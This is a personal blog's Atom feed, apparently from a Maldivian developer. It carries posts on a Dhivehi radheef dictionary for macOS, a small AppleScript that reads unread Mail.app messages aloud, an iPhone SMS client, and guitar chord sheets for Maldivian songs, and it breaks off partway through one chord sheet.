<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-180738146708053206</id><updated>2012-01-29T04:00:51.684+08:00</updated><category term='linux'/><category term='facebook'/><category term='zekr'/><category term='floss'/><category term='advice'/><category term='personal'/><category term='gnome-dictionary'/><category term='photography'/><category term='php'/><category term='apple'/><category term='DIY'/><category term='random'/><category term='perl'/><category term='dhivehi'/><category term='webcam'/><category term='rants'/><category term='comic'/><category term='dhiraagu'/><category term='music'/><category term='screenlet'/><category term='bash'/><category term='C programming'/><category term='misc'/><category term='fbcmd'/><category term='iPhone'/><category term='dict'/><category term='python'/><category term='stocks'/><category term='alfred'/><category term='cURL'/><category term='mac'/><category term='Quran'/><category term='windows'/><category term='websms'/><category term='ubuntu'/><category term='rukufan origami'/><category term='thaana'/><category term='LWF'/><category term='radheef'/><category term='nautilus'/><category term='announcements'/><title type='text'>A Little Bit of ME</title><subtitle type='html'>...and then some</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.kudanai.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>94</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-2661897464357817619</id><published>2012-01-17T01:09:00.001+08:00</published><updated>2012-01-17T01:09:24.339+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><category scheme='http://www.blogger.com/atom/ns#' term='radheef'/><category scheme='http://www.blogger.com/atom/ns#' term='mac'/><title type='text'>Radheef for OSX dictionary.app (beta)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Before I say anything more... BETA means I want YOU...to give me feedback.. got it? alright let's proceed.&lt;br /&gt;&lt;br /&gt;A few months ago I twought (thought + tweeted) that I, for one, would like to have the radheef available on the native mac dictionary app. This was met with some positive response (yes you @bandey); which motivated me for about 15 minutes until I started playing Uncharted 2… and everything went downhill from there.&lt;br /&gt;&lt;br /&gt;I had already done something similar for linux (which I talked about &lt;a href="http://www.kudanai.com/2010/07/dict-database-for-dhivehi-radheef.html"&gt;here&lt;/a&gt; and &lt;a href="http://www.kudanai.com/2010/09/dict-database-for-dhivehi-radheef.html"&gt;here&lt;/a&gt;), so I figured it wouldn't be too difficult. So tonight - since I'm bored and have nothing better to do - after an hour or two of toiling around I've managed to get it up and running.&lt;br /&gt;&lt;br /&gt;point to note here BEFORE people start asking me how to setup thaana keyboard or something stupid like that, you CAN use ASCII to search. (as in you can search for 'mwkunu' or 'މަކުނު' to the same effect. Also not that you don't have to type in the entire word (dictionary.app does prefix matching on the headword against the query)&lt;br /&gt;&lt;br /&gt;screenshots ahoy! Scroll all the way down for the download link (only if you read the above of course) and setup instructions.&lt;br /&gt;&lt;br /&gt;&lt;img alt="It shows up in the dir_list" border="0" height="270" src="http://lh6.ggpht.com/-QLR1UbyxL9s/TxRVn_mylOI/AAAAAAAAAbU/YG3qHHIQFsg/All%252520Reference%252520Sources.jpg?imgmax=800" style="display: block; margin-left: auto; margin-right: auto;" title="All Reference Sources.jpg" width="400" /&gt;&lt;img alt="searching works fine" border="0" height="270" src="http://lh6.ggpht.com/-QLsSVFuREqE/TxRVUIKBNwI/AAAAAAAAAbM/towQ2qNmJNc/All%252520Reference%252520Sources%252520%25252818%252520found%252529.jpg?imgmax=800" style="display: block; margin-left: auto; margin-right: auto;" title="All Reference Sources (18 found).jpg" width="400" /&gt;&lt;br /&gt;&lt;br /&gt;the dictionary database can be downloaded &lt;a href="http://dl.dropbox.com/u/5385653/radheef/dv_MV%20Radheef.dictionary.zip"&gt;HERE..HERE HERE MIYOTHEE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;extract the zip file and copy the "dv_MV radheef.dictionary" file to either ~/Library/Dictionaries (for single user) OR /Library/Dictionaries (for all users).&lt;br /&gt;&lt;br /&gt;that's all folks.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-2661897464357817619?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/2661897464357817619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2012/01/radheef-for-osx-dictionaryapp-beta.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2661897464357817619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2661897464357817619'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2012/01/radheef-for-osx-dictionaryapp-beta.html' title='Radheef for OSX dictionary.app (beta)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/-QLR1UbyxL9s/TxRVn_mylOI/AAAAAAAAAbU/YG3qHHIQFsg/s72-c/All%252520Reference%252520Sources.jpg?imgmax=800' height='72' width='72'/><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5475980214660613112</id><published>2011-11-29T02:46:00.001+08:00</published><updated>2011-11-29T02:49:16.906+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mac'/><category scheme='http://www.blogger.com/atom/ns#' term='alfred'/><category scheme='http://www.blogger.com/atom/ns#' term='apple'/><title type='text'>Messing around with AppleScript</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;Ever since I made the decision to buy a Mac I've wanted to mess around with apples excellent application scripting system (i.e AppleScript). I finally got around to it today and now am throughly impressed by the number things you can accomplish with it.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div dir="ltr" style="text-align: left;"&gt;&lt;/div&gt;&lt;div dir="ltr" style="text-align: left;"&gt;Anyway as my sort of "hello world" task, I've written up this little script down here which will "speak" or "Read Aloud" the number of unread messages in your "Mail" (assuming you're using Mail.app - which you should) and the sender and subject of each unread message. This combined with the impressive new text-to-speech voices in OSX Lion makes it rather useful. I will now have all my emails read to me by a sexy indian lady on my computer (aka sangeetha!)&lt;/div&gt;&lt;div dir="ltr" style="text-align: left;"&gt;&lt;br /&gt;I did some googling around but didn't find anybody else doing this so I figured I'd share it here.&lt;/div&gt;&lt;div dir="ltr" style="text-align: left;"&gt;&lt;br /&gt;the script!&lt;/div&gt;&lt;div dir="ltr" style="text-align: left;"&gt;&lt;pre class="brush:perl"&gt;tell application "Mail"&lt;br /&gt; &lt;br /&gt; set unreadCount to unread count of inbox&lt;br /&gt; set theMessages to (messages of inbox whose read status is false)&lt;br /&gt; &lt;br /&gt; if unreadCount &amp;gt; 0 then&lt;br /&gt;  say ("you have," &amp;amp; unreadCount &amp;amp; ",new messages")&lt;br /&gt;  &lt;br /&gt;  repeat with msg in theMessages&lt;br /&gt;   say ("message, from" &amp;amp; (sender of msg) &amp;amp; ". Saying" &amp;amp; (subject of msg))&lt;br /&gt;   delay 1&lt;br /&gt;  end repeat&lt;br /&gt;  &lt;br /&gt; else&lt;br /&gt;  say "you have no, new messages."&lt;br /&gt; end if&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;end tell&lt;br /&gt;&lt;/pre&gt;I've also compiled it into an alfred extension which you can download from &lt;span style="color: #38761d; font-size: large;"&gt;&lt;a href="http://dl.dropbox.com/u/5385653/Read%20Mail.alfredextension"&gt;here&lt;/a&gt; &lt;/span&gt; cheers&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5475980214660613112?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5475980214660613112/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/11/messing-around-with-applescript.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5475980214660613112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5475980214660613112'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/11/messing-around-with-applescript.html' title='Messing around with AppleScript'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8731372553507510840</id><published>2011-10-10T01:17:00.001+08:00</published><updated>2011-10-10T01:17:24.794+08:00</updated><title type='text'>Donate button is up again.</title><content type='html'>&lt;p&gt;Hey there,&lt;/p&gt;&lt;p&gt;A few months ago I encountered some problems with the PayPal Donate button. It is now fixed, and donations are working again.&lt;/p&gt;&lt;p&gt;If you like any of my work, have profited from it in any way, or just want to help me out, please consider donating. Even small amounts are appreciated. Donations help keep me motivated, and pay for my education.&lt;/p&gt;&lt;p&gt;Thank you.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8731372553507510840?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8731372553507510840/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/10/donate-button-is-up-again.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8731372553507510840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8731372553507510840'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/10/donate-button-is-up-again.html' title='Donate button is up again.'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-2530716035277293423</id><published>2011-10-07T23:24:00.001+08:00</published><updated>2011-10-08T00:28:38.711+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='dhiraagu'/><category scheme='http://www.blogger.com/atom/ns#' term='websms'/><title type='text'>touch! SMS app now on Cydia @MMi repo</title><content type='html'>&lt;p&gt;I just released a small project that has been sitting on my computer for quite some time. &lt;strong&gt;Dhiraagu t&lt;/strong&gt;&lt;strong&gt;ouchSMS &lt;/strong&gt;is a small client for Dhiraagu's websms. Search for "Dhiraagu toucSMS" on cydia and install.&lt;/p&gt;&lt;p&gt;It is pretty barebones for now (as it was primarily designed for personal use), but I hope to update it soon and include more error checking routines.. If you encounter any major problems, drop me a line here, or holla @kudanai on twitter.&lt;/p&gt;&lt;p&gt;Thanks @a_rishwan for the support, and the artwork.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Some Known Bugs:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;The implementation is pretty rudimentary and you MAY encounter some problems. Firstly, the backend API is far from  complete, and will sometimes act inconsistently. Messages MAY have gotten through even if "request timeouts" occur. Secondly, the "connection checking" doesn't work too reliably so you yourself may need to verify that the internet connection IS in fact, working.&lt;/p&gt;&lt;p&gt;in honor of SJobs. May he rest in peace and his legacy live on for generations to come.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;img title="IMG_0780.PNG" src="http://lh4.ggpht.com/-zZJ5qJyuY88/To8ZqbjTOAI/AAAAAAAAAas/fUYaYCy6DYY/IMG_0780.PNG?imgmax=800" border="0" alt="touch! SMS v0.1 screenshot" width="320" height="480" /&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-2530716035277293423?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/2530716035277293423/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/10/touch-sms-app-now-on-cydia-mmi-repo.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2530716035277293423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2530716035277293423'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/10/touch-sms-app-now-on-cydia-mmi-repo.html' title='touch! SMS app now on Cydia @MMi repo'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/-zZJ5qJyuY88/To8ZqbjTOAI/AAAAAAAAAas/fUYaYCy6DYY/s72-c/IMG_0780.PNG?imgmax=800' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8277347665399998667</id><published>2011-09-18T16:33:00.001+08:00</published><updated>2011-09-18T16:33:38.362+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Heeviyey (TAS)</title><content type='html'>&lt;p&gt;I've had quite a few requests to do this song, and now finally here it is. I think it's fairly accurate. Note, some of those F#m are better played as F#m7 (where exactly I can't tell you, as shuiz too seems to do it by feel)... just uh..go with it.&lt;/p&gt;&lt;iframe width="420" height="315" src="http://www.youtube.com/embed/ALOzoW2BeBI" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;p&gt;Enjoy.&lt;/p&gt;&lt;pre class="brush:ch"&gt;{t:Heeviyey}&lt;br /&gt;{st:TAS}&lt;br /&gt;&lt;br /&gt;#chords: kudanai [http://kudanai.com]&lt;br /&gt;&lt;br /&gt;{c: Intro F#m7 C#m Bm E F#m}&lt;br /&gt;&lt;br /&gt;Heeviy[F#m]ey, Fenif[C#m]aa e' vaa gothun&lt;br /&gt;Hurev[Bm]eynehen, Bal[E]an mihen dhurug[F#m]aa&lt;br /&gt;Belevun[F#m]ey, engidh[C#m]aaneyey kalaa&lt;br /&gt;ekug[Bm]aa mithaa thih[E]en viyas dhurug[F#m]aa&lt;br /&gt;&lt;br /&gt;nuhurev[E]eyney, heeviy[F#m]ey&lt;br /&gt;&lt;br /&gt;{soc}&lt;br /&gt;    hiy ava[E]s kuru vee thiya fathur[C#m]aa vas jehum[F#m]un&lt;br /&gt;    thoonu dh[E]elolaa[Bm], thunfath[F#m]aa&lt;br /&gt;    huvafene[E]i hen mulhi rey dh[C#m]iyumey beynunv[F#m]ee&lt;br /&gt;{eoc}&lt;br /&gt;&lt;br /&gt;{c: Interlude F#m C#m Bm E}&lt;br /&gt;&lt;br /&gt;m[F#m]aathaku ther[E]ey lui hingumakun dh[Bm]aathee ma dhusheemey&lt;br /&gt;m[F#m]aathakey h[E]eevee raki vaah[F#m]en&lt;br /&gt;ey[F#m] saahib[E]aa thiya ali vi m[Bm]ooney fenuneema&lt;br /&gt;m[F#m]ulhi javvu heev[E]ey alhi vaa[F#m]hen&lt;br /&gt;&lt;br /&gt;[Bm]Hinithun vel[F#m]aafaa heevey&lt;br /&gt;[Bm]Udhuhen fash[F#m]aafaaney hen&lt;br /&gt;[Bm]gathugaa hurum[F#m]ey edhenee&lt;br /&gt;[Bm]athugaa hif[E]aashey aadhey dh[Bm]aan&lt;br /&gt;…aadhey dh[F#m]aan.&lt;br /&gt;&lt;br /&gt;{c:chorus}&lt;br /&gt;{soc}&lt;br /&gt;    hiy ava[E]s kuru vee thiya fathur[C#m]aa vas jehum[F#m]un&lt;br /&gt;    thoonu dh[E]elolaa[Bm], thunfath[F#m]aa&lt;br /&gt;    huvafene[E]i hen mulhi rey dh[C#m]iyumey beynunv[F#m]ee&lt;br /&gt;{eoc}&lt;br /&gt;&lt;br /&gt;hiy avas[E] kuru vee thiya fathur[C#m]aa vas jehum[F#m]un&lt;br /&gt;huvafenei h[E]en mulhi rey dh[C#m]iyumey beynunv[F#m]ee&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8277347665399998667?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8277347665399998667/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/09/guitar-chords-heeviyey-tas.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8277347665399998667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8277347665399998667'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/09/guitar-chords-heeviyey-tas.html' title='Guitar Chords: Heeviyey (TAS)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/ALOzoW2BeBI/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-9140530642498917504</id><published>2011-08-27T22:21:00.001+08:00</published><updated>2011-08-27T22:21:55.362+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Kalhusoru (Intoxicated By You)</title><content type='html'>&lt;p&gt;In keeping with the ZeroDegree theme going on at the moment, here's another "simple" song for you.&lt;/p&gt;&lt;p&gt;Basic chord progression is Cm,A#,G#,G in the verse and chorus (with the exception of A#,G#,A#,G on the second bar of the chorus).&lt;/p&gt;&lt;p&gt;cheers&lt;/p&gt;&lt;pre class="brush:ch"&gt;{title: Intoxicated By You (KalhuSoru)}&lt;br /&gt;{subtitle: ZeroDegree Atoll}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Cm]Kalhufoe rey rey [A#]thundi mathi fenifaa  &lt;br /&gt;[G#]Handhuvaru dhekilaa [G]hivvefaa  &lt;br /&gt;[Cm]Magu kolhu hoadhaa [A#]dhekolhah balamun  &lt;br /&gt;[G#]Harukoh helifaa [G]ulhe dhanee  &lt;br /&gt;&lt;br /&gt;{a:Chorus}&lt;br /&gt;{chorus}&lt;br /&gt;    [Cm]Dhandumathi gomaya [A#]hama hama kurumah&lt;br /&gt;    [G#]Kalhusoru ovegen [G]farivanee&lt;br /&gt;    [A#]Undumathi nubalaa [G#]nama nama thakuraa&lt;br /&gt;    [A#]Damu higumah nudha[G]maa bahee&lt;br /&gt;{/chorus}&lt;br /&gt;&lt;br /&gt;[Cm]Iru ossey dhalha[A#]ya balamunthaa &lt;br /&gt;[G#]dhigumagu medhugaa [G]ithivefaa&lt;br /&gt;[C]Hithuthere raavaa [A#]dhe athah kiremun&lt;br /&gt;[G#]Hithuga hifaa fura[G]gas belee&lt;br /&gt;&lt;br /&gt;[Cm]Migothah hutta [A#]ekkala golayah &lt;br /&gt;[G#]fiyokeh buni adu [G]ivilanee&lt;br /&gt;[Cm]Bala dhon thakuraa [A#]kamaku nudhaaney &lt;br /&gt;[G#]Hama thigothah hu[G]ttas mirey&lt;br /&gt;&lt;br /&gt;{a: Chorus}&lt;br /&gt;&lt;br /&gt;[Cm]Hey bo naaraa [A#]kamakutherah Bo-&lt;br /&gt;[G#]beytho beliyas [G]hamahilaa&lt;br /&gt;[Cm]Vidhuvaru fenifaa [A#]dhalhayah helley&lt;br /&gt;[G#]Hindhukolhu dhiyumun [G]foohivey&lt;br /&gt;&lt;br /&gt;{a: Chorus x 4}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-9140530642498917504?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/9140530642498917504/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/08/guitar-chords-kalhusoru-intoxicated-by.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/9140530642498917504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/9140530642498917504'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/08/guitar-chords-kalhusoru-intoxicated-by.html' title='Guitar Chords: Kalhusoru (Intoxicated By You)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8760020305953016002</id><published>2011-06-18T01:32:00.001+08:00</published><updated>2011-06-18T01:32:25.230+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords : Thakurah Bahei (Zero Degree Atoll)</title><content type='html'>&lt;p&gt;I don't think that this song will require much introduction. I spent some time tonight filling in the gaps of how I used to play it (which as it turned out was a few semitones off-key).&lt;/p&gt;&lt;p&gt;Anyway Enjoy, and check out my other &lt;a href="http://www.kudanai.com/search/label/music"&gt;music related posts here.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;lyrics from &lt;a href="http://sincraft.cinebb.com/t186-zero-degree-atoll"&gt;here&lt;/a&gt;&lt;/p&gt;&lt;pre class="brush:ch"&gt;{title: Thakurah Bahei}&lt;br /&gt;{subtitle: Zero Degree Atoll}&lt;br /&gt;&lt;br /&gt;# -------------------------------------------------------------&lt;br /&gt;# tabbed by KudaNai - 2011&lt;br /&gt;# http://kudanai.com&lt;br /&gt;#&lt;br /&gt;# this might be a little confusing. I used to play this in 2,1,1&lt;br /&gt;# dropping the note on the second count which should sound fine.&lt;br /&gt;# I dropped a few fast changing (slide) chords. If you listen &lt;br /&gt;# carefully you should be able to hear them.&lt;br /&gt;# --------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;{bridge}&lt;br /&gt;[C]Othakas maa [Em]kandu, [F]hithakah libi[G]faa&lt;br /&gt;[C]Atha viha nora [Am]dhosha nakathun [A#]nubalaa&lt;br /&gt;Thariyaa [C]burujaa ranga[Em]lhah nufi[F]laa....[G]&lt;br /&gt;[C]Aruvaa jaha[Am]mun dhathurah [A#]nufuraa  &lt;br /&gt;{/bridge}&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;{a: chorus}  &lt;br /&gt;{chorus}&lt;br /&gt;    [C]Riyaleh maa [Am]bodu othakas libi[G]faa....[A#]&lt;br /&gt;    [F]Dhiyagandu nuhi[G7]key nama ee [C]ekugaa&lt;br /&gt;    [Am]Vayashaa [F]oivaru [C]rangalhah nuba[F]laa&lt;br /&gt;    [C]Hiyalehgaa [F]thibe dhathurah [C]nufuraa&lt;br /&gt;{/chorus}&lt;br /&gt;&lt;br /&gt;{bridge}&lt;br /&gt;[Em]Samugaa molhu[F]kannn, hithu[G]gaame a[A#]lhaaa&lt;br /&gt;[F]Emuney fathi[G]varu farugadhi [C]eh gaaa&lt;br /&gt;[Em]Kamudhaa varu[G]gaa, [F]dhas nuve hithu[C]gaa&lt;br /&gt;[F]Amudhun [G]thakuraa dhathurah [A]nufuraa&lt;br /&gt;{/bridge}&lt;br /&gt;&lt;br /&gt;{bridge}&lt;br /&gt;[C]Kulhadhaana vi[Am]yas [F]falhuveri e ku[Em]dhin&lt;br /&gt;[F]Hulhangaa dheku[G7]naa vakinuvi na[C]ma ee&lt;br /&gt;[Am]Molhukan [F]dhakkan [C]ovegen [F]hithugaa&lt;br /&gt;[C]Olhigen nama [F]nama dhathurah [C]nufuraa&lt;br /&gt;{/bridge}&lt;br /&gt;&lt;br /&gt;{a: chorus}  &lt;br /&gt;{a: repeat from samuga, then chorus again}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8760020305953016002?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8760020305953016002/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/06/guitar-chords-thakurah-bahei-zero.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8760020305953016002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8760020305953016002'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/06/guitar-chords-thakurah-bahei-zero.html' title='Guitar Chords : Thakurah Bahei (Zero Degree Atoll)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1989248700767348796</id><published>2011-05-21T21:51:00.001+08:00</published><updated>2011-05-22T15:05:13.364+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Reethi handhuvar (Zero Degree Atoll)</title><content type='html'>&lt;p&gt;I can honestly say this was one of the hardest songs to figure out. in the end, I think I got most of it  right. If you spot mistakes, let me know in the comments. chords are in "chordpro" format. (you can use GuitarTeX2 or something similar to convert them into a nicely formatted songbook).&lt;/p&gt;&lt;p&gt;Enjoy.&lt;/p&gt;&lt;pre class="brush:ch"&gt;{title: Reethi Handhuvaru }&lt;br /&gt;{subtitle: Zero Degree Atoll}&lt;br /&gt;# Tabbed by KudaNai - http://kudanai.com&lt;br /&gt;&lt;br /&gt;# Note- &lt;br /&gt;# Tabbed here are the major chords used&lt;br /&gt;# in the song. I think I can hear some&lt;br /&gt;# Cm's in the verse but only in transition.&lt;br /&gt;# I tabbed this by ear, and I'm not entirely sure&lt;br /&gt;# if I got everything right.&lt;br /&gt;# Also note, the F's might actually be Fmaj7's&lt;br /&gt;&lt;br /&gt;{bridge}&lt;br /&gt;Intro Picking Fmaj7 with high E open&lt;br /&gt;{/bridge}&lt;br /&gt;&lt;br /&gt;{a: Chorus}&lt;br /&gt;{chorus}&lt;br /&gt;[Cmaj7]Reethi handhuvaru [F]rey dhekifaa&lt;br /&gt;[Cmaj7]Beehi dhe athun [F]fan vathugaa&lt;br /&gt;[A#]Roalhi vee hindhu&lt;br /&gt;[F]Fun assarakun&lt;br /&gt;[D#]Loabi raki hini[F]thun vevilaa x 2&lt;br /&gt;{/chorus}&lt;br /&gt;&lt;br /&gt;{a: verse 1}&lt;br /&gt;{bridge}&lt;br /&gt;[Cmaj7]Saafu dhonveli fi[F]yavalhugaa&lt;br /&gt;[Cmaj7]Moodhu kairee ha[F]ma jehilaa&lt;br /&gt;[A#]Raalhu raalhaa&lt;br /&gt;[F]Kulhela kulhelaa&lt;br /&gt;[D#]Loabi fari fari [F]thun fathugaa&lt;br /&gt;{/bridge}&lt;br /&gt;&lt;br /&gt;{a: verse 2}&lt;br /&gt;{bridge}&lt;br /&gt;[Dm]Haa 